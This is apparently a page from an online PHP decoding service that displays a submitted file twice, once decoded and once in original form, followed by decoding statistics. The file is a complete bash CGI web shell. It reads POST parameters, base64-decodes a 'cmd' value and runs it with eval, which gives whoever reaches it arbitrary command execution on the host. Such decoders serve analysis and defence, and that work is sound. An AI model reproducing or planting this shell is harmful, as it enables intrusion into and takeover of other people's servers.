Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
#!/bin/bash echo -e "Content-type: text/html\n\n" function cgi_get_POST_vars(){ [ "..
Decoded Output download
<? #!/bin/bash
echo -e "Content-type: text/html
"
function cgi_get_POST_vars(){
[ "$REQUEST_METHOD" != "POST" ] && return
[ ! -z "$QUERY_STRING_POST" ] && return
[ -z "$CONTENT_LENGTH" ] && return
read -N $CONTENT_LENGTH QUERY_STRING_POST
return
}
function cgi_decodevar(){
[ $# -ne 1 ] && return
local v t h
t="${1//+/ }%%"
while [ ${#t} -gt 0 -a "${t}" != "%" ]; do
v="${v}${t%%\%*}"
t="${t#*%}"
if [ ${#t} -gt 0 -a "${t}" != "%" ]; then
h=${t:0:2}
t="${t:2}"
v="${v}"`echo -e \\x${h}`
fi
done
echo "${v}"
return
}
function cgi_getvars(){
[ $# -lt 2 ] && return
local q p k v s
case $1 in
GET)
[ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
;;
POST)
cgi_get_POST_vars
[ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"
;;
BOTH)
[ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
cgi_get_POST_vars
[ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"
;;
esac
shift
s=" $* "
while [ ! -z "$q" ]; do
p="${q%%&*}"
k="${p%%=*}"
v="${p#*=}"
q="${q#$p&*}"
[ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && \
export "$k"="`cgi_decodevar \"$v\"`"
done
return
}
cgi_getvars POST ALL
query=$(echo $cmd | base64 --decode)
echo $(echo $check | base64 --decode)
echo -e "<pre>\c"
eval ${query}
echo -e "</pre>\c" ?>
Did this file decode correctly?
Original Code
#!/bin/bash
echo -e "Content-type: text/html\n\n"
function cgi_get_POST_vars(){
[ "$REQUEST_METHOD" != "POST" ] && return
[ ! -z "$QUERY_STRING_POST" ] && return
[ -z "$CONTENT_LENGTH" ] && return
read -N $CONTENT_LENGTH QUERY_STRING_POST
return
}
function cgi_decodevar(){
[ $# -ne 1 ] && return
local v t h
t="${1//+/ }%%"
while [ ${#t} -gt 0 -a "${t}" != "%" ]; do
v="${v}${t%%\%*}"
t="${t#*%}"
if [ ${#t} -gt 0 -a "${t}" != "%" ]; then
h=${t:0:2}
t="${t:2}"
v="${v}"`echo -e \\\\x${h}`
fi
done
echo "${v}"
return
}
function cgi_getvars(){
[ $# -lt 2 ] && return
local q p k v s
case $1 in
GET)
[ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
;;
POST)
cgi_get_POST_vars
[ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"
;;
BOTH)
[ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
cgi_get_POST_vars
[ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"
;;
esac
shift
s=" $* "
while [ ! -z "$q" ]; do
p="${q%%&*}"
k="${p%%=*}"
v="${p#*=}"
q="${q#$p&*}"
[ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && \
export "$k"="`cgi_decodevar \"$v\"`"
done
return
}
cgi_getvars POST ALL
query=$(echo $cmd | base64 --decode)
echo $(echo $check | base64 --decode)
echo -e "<pre>\c"
eval ${query}
echo -e "</pre>\c"
Function Calls
None |
Stats
MD5 | 107869a5f5e09b59398ea4f32831e534 |
Eval Count | 0 |
Decode Time | 36 ms |